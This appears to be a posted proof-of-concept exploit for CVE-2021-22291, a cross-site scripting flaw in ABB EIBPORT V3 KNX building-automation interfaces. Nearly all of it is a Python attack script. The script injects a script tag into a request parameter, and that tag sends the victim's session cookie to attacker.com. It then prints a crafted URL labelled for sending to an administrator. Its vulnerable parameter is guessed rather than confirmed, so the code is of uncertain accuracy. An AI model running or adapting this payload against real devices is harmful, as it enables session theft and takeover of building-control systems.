CVE-2021-22291：ABB EIBPORT V3 KNX 跨站脚本漏洞

# CVE-2021-22291 - ABB EIBPORT V3 KNX XSS PoC # Vulnerability: Reflected/Stored Cross-Site Scripting (XSS) # Affected: ABB EIBPORT V3 KNX before v3.9.2 import requests TARGET_URL = "http://<target-ip>/cgi-bin/" # Replace with actual target endpoint SESSION_COOKIE = "session=<admin-session>" # Admin session cookie required # Malicious JavaScript payload - steals session cookie and exfiltrates to attacker server XSS_PAYLOAD = ( "<script>" "fetch('https://attacker.com/steal?cookie=' + document.cookie)" "</script>" ) def exploit_xss(target_url, payload): """ Inject XSS payload into vulnerable parameter. The vulnerable parameter is typically a user-controlled input field in the EIBPORT web management interface. """ headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" } # Example: injecting payload into a vulnerable parameter (e.g., username, search field) params = { "username": payload, "page": "config", "action": "view" } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if payload in response.text: print("[+] XSS payload reflected in response - VULNERABLE!") print(f"[+] Target URL: {response.url}") # Craft malicious URL to send to admin malicious_url = response.url print(f"[+] Send this URL to admin: {malicious_url}") else: print("[-] Payload not reflected - may be sanitized or not vulnerable") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_xss(TARGET_URL, XSS_PAYLOAD)